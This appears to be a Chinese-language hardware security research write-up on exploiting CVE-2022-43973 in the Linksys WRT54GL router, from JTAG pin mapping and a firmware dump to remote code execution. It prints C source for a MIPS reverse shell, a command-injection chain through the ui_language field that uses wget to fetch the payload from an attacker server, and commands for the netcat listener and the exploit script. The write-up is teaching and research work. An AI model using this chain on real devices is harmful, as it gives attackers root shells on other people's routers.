从焊接到Shell:Linksys WRT54GL路由器的完整硬件利用(CVE-2022-43973)
一段 10 阶段的嵌入式安全研究之旅——从 JTAG 引脚识别到在基于 MIPS 的消费级路由器上实现远程代码执行。
| 作者 | Umberto Della Monica |
| 角色 | 网络安全理学硕士生 — 嵌入式安全研究员 |
| 日期 | 2026 年 5 月 |
| 仓库 | Linksys-WRT54GL-Exploitation |
免责声明: 本研究仅出于教育和研究目的,在本人自有硬件上进行。未访问任何未经授权的系统。本文所述的所有技术只能在您拥有或获得明确书面授权测试的设备上复现。作者对本文信息的任何滥用不承担任何责任。请始终遵守适用的法律、法规和负责任披露准则。
Linksys WRT54GL 是有史以来最具标志性的消费级路由器之一。它对开源固件的支持使其深受爱好者和研究人员的青睐。尽管年代久远,它仍在全球范围内广泛使用,使其成为嵌入式安全研究的相关目标。
任何硬件安全评估的第一步都是物理检查。打开设备外壳后,我在 PCB 上识别出两个调试接口:
由于 JTAG 接口未焊接,我焊接了一个临时排针以访问调试接口。使用万用表,我识别了接地和 Vcc 线路,并确认目标设备以 3.3V 逻辑电平工作——这对于避免损坏芯片组至关重要。
为映射 JTAG 信号,我使用了 Grand Idea Studio 的 JTAGulator——一种通过探测所有可能的引脚组合来自动识别调试接口的硬件工具。
JTAGulator 成功识别出以下 JTAG 引脚定义:
board: wrt54gl_v1.1
device: Linksys WRT54GL v1.1
pins:
TCK: PA3
TMS: PA4
TDI: PA1
TDO: PA2
TRST: NC
SRST: PB0
notes: "Header JP3 — verified 3.3V logic."
在识别出 JTAG 引脚后,我将一个 Attify Badge——一款采用 FTDI FT2232H 芯片的开源硬件安全评估工具(GNU GPL v3.0)——连接到路由器的 JTAG 接口。
我启动了 OpenOCD(开放片上调试器),并使用为 BCM5352 目标定制的配置,因为官方配置与此特定硬件版本不兼容。
自定义 OpenOCD 配置定义了路由器的闪存分区布局:
在使 CPU 暂停后,我对内存映射的 NOR 闪存执行了完整的 4 MB 转储:
> target halt
> dump_image ./dumps/wrt54gl.bin 0xbfc00000 0x00400000
使用 binwalk,我分析了固件转储文件,以识别嵌入式文件系统、压缩段和内核镜像:
binwalk ./dumps/wrt54gl.bin
binwalk -E ./dumps/wrt54gl.bin # entropy analysis
sha256sum ./dumps/wrt54gl.bin # integrity verification
分析揭示了一个 SquashFS 根文件系统,其中包含基于 BusyBox 的标准 Linux 环境。我使用 binwalk -e 和 unsquashfs 将其提取出来以进行更深入的分析。
为了创建安全的测试环境,我使用 FirmAE——一个支持 MIPS 架构的自动化固件仿真框架——搭建了固件仿真环境。这使我能够在虚拟环境中复现路由器的服务(HTTP、telnet),并在不对物理设备造成风险的情况下测试漏洞利用。
使用带 MIPS 反编译器插件的 Ghidra(NSA 的逆向工程框架),我对提取的固件二进制文件进行了静态分析,以确认 CVE-2022-43973 的存在。
该漏洞存在于路由器的 CGI 请求处理器中。/apply.cgi 端点中的 ui_language 表单字段接受任意输入而无需净化。通过注入以 ;cmd; 语法包裹的 shell 命令,攻击者可以暂存命令,这些命令随后会在通过 /upgrade.cgi 触发固件升级时被执行。
受影响的固件版本:
我用 C 语言开发了一个自定义反向 Shell,专为路由器的 MIPS 架构而构建。该载荷建立回连攻击者的 TCP 连接,将所有标准文件描述符重定向到套接字,并生成一个交互式 Shell:
sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr(argv[1]);
connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr));
dup2(sockt, 0); // redirect stdin
dup2(sockt, 1); // redirect stdout
dup2(sockt, 2); // redirect stderr
execve("/bin/sh", sh_argv, NULL);
为了将载荷编译为目标架构,我构建了一个可复现的 Docker 环境,其中包含 Broadcom MIPS 交叉编译工具链(hndtools-mipsel-linux-3.2.3),该工具链来自官方 Linksys GPL 版本(WRT54GL-ETSI_v4.30.18.006):
docker build -t wrt54gl-toolchain:latest -f Dockerfile .
docker run --rm -it -v "$(pwd)":/work --workdir /work wrt54gl-toolchain:latest
# Inside container:
mipsel-linux-gcc -static -O2 -o revshell_mips revshell.c
生成的二进制文件采用静态链接以确保可移植性——目标设备上无共享库依赖。
我开发了一个 Python 漏洞利用框架,通过利用 CVE-2022-43973 自动化整个攻击链。该漏洞利用执行一个 4 步序列,每一步都通过 ui_language 参数作为命令注入:
wget 命令,从攻击者的 HTTP 服务器下载 MIPS 反向 Shell 二进制文件到路由器的 /tmp/Xchmod +x /tmp/X 使二进制文件可执行/tmp/X <attacker_ip> <port> 以启动反向 Shellui_language 重置为其默认值(en)每个命令都以 ;cmd; 形式包裹在 ui_language 字段中,并通过 POST /apply.cgi 发送。随后的 POST /upgrade.cgi 会触发执行。
在攻击者的机器上,需要三个终端:
# Terminal 1: Serve the reverse shell binary
python -m http.server 8000
# Terminal 2: Listen for the incoming reverse shell
nc -lvnp 4141
# Terminal 3: Launch the exploit
python exploit.py --host 192.168.1.1 --username admin --password admin \
--attacker-host 192.168.1.2 --attacker-http-port 8000 \
--attacker-handler-port 4141
反向 Shell 回连到攻击者的 Netcat 监听器,在路由器上提供一个交互式 root shell。
为验证完整的漏洞利用链,我在攻击期间使用 Wireshark 捕获了网络流量。分析确认了:
/apply.cgi 和 /upgrade.cgi 的正确 HTTP POST 注入序列wget 从攻击者的 HTTP 服务器成功下载载荷物理访问是一种强大的攻击向量。 JTAG 提供绕过所有软件安全机制的 root 级硬件访问。部署嵌入式设备的组织应考虑物理安全控制,并在生产固件中禁用调试接口。
固件提取是基础。 转储和分析固件可以揭示完整的软件栈——包括硬编码凭据、配置数据以及仅从网络角度不可见的易受攻击的代码路径。
仿真使安全、可重复的研究成为可能。 像 FirmAE 这样的工具允许研究人员在虚拟环境中复现设备行为,从而实现迭代测试,而无需冒物理硬件风险或触发意外后果。
简单的输入验证失败会产生严重影响。 CVE-2022-43973 展示了 Web 界面中一个未经净化的表单字段如何导致设备被完全入侵并获得 root 级访问权限。纵深防御——输入验证、最小权限和安全编码实践——仍然至关重要。
可复现的工具链很重要。 基于 Docker 的交叉编译环境确保载荷和工具可以被可靠地重建,使研究结果可验证、可共享。
遗留设备构成持续风险。 WRT54GL 在全球范围内仍被积极使用。不再接收安全更新的生命周期结束设备对网络安全构成持续威胁。
有关深入的技术细节,请参阅以下文档:
本项目采用 MIT 许可证 授权——详情请参阅 LICENSE 文件。
如果复刻 Attify 或 JTAGulator 的原理图,请遵循其各自的许可证(Attify 组件为 GNU GPL v3.0)。
Umberto Della Monica
LinkedIn
#EmbeddedSecurity #HardwareSecurity #IoTSecurity #Pentesting #FirmwareAnalysis #JTAG #CVE #ReverseEngineering #CyberSecurity #InfoSec
| 规格 | 值 |
|---|
| 芯片组 | Broadcom BCM5352 |
| CPU 主频 | 200 MHz |
| 架构 | MIPS 32 位(小端序) |
| 闪存 | 4 MB NOR(内存映射于 0xbfc00000) |
| 内存 | 16 MB |
| 无线 | IEEE 802.11b/g,54 Mbps |
| 网络 | 4x LAN + 1x WAN,带 SPI 的 NAT 防火墙 |
| 操作系统 | 基于 Linux(BusyBox) |
| 引导加载程序 | CFE(Common Firmware Environment) |
| 分区 | 描述 | 起始地址 | 大小 |
|---|
| CFE | 引导加载程序 | 0xbfc00000 | 256 KB |
| 固件 | 内核 + 根文件系统 | 0xbfc40000 | ~3.7 MB |
| NVRAM | 配置 | 0xbfff0000 | 64 KB |
| 字段 | 值 |
|---|
| CVE ID | CVE-2022-43973 |
| 类型 | 远程代码执行(RCE) |
| 攻击向量 | 经过身份验证的 HTTP 请求 |
| 根本原因 | 通过未净化的 ui_language 参数进行命令注入 |
| 端点 | POST /apply.cgi |
| 触发条件 | POST /upgrade.cgi(固件升级) |
| 影响 | 完整的 root 级命令执行 |
| 类别 | 工具 | 用途 | 参考 |
|---|
| 硬件 | Attify Badge | JTAG/UART 接口适配器 | docs.attify.com(GNU GPL v3.0) |
| 硬件 | JTAGulator | 自动化调试引脚识别 | Grand Idea Studio |
| 软件 | OpenOCD | JTAG 调试与闪存访问 | openocd.org |
| 软件 | Ghidra | 静态分析与反编译 | ghidra-sre.org(NSA) |
| 软件 | binwalk | 固件分析与提取 | ReFirmLabs |
| 软件 | FirmAE | 固件仿真(MIPS) | GitHub |
| 软件 | Firmadyne | 固件动态分析 | GitHub |
| 软件 | Docker | 可复现的构建环境 | docker.com |
| 工具链 | hndtools-mipsel-linux | Broadcom MIPS 交叉编译器 | Linksys GPL 版本 |
| 软件 | Python 3 | 漏洞利用自动化框架 | python.org |
| 软件 | Wireshark | 网络流量分析 | wireshark.org |
| 标准 | IEEE 1149.1 | JTAG 边界扫描标准 | IEEE |
| 漏洞利用流程 | 带命令和截图的 10 阶段分步工作流程 |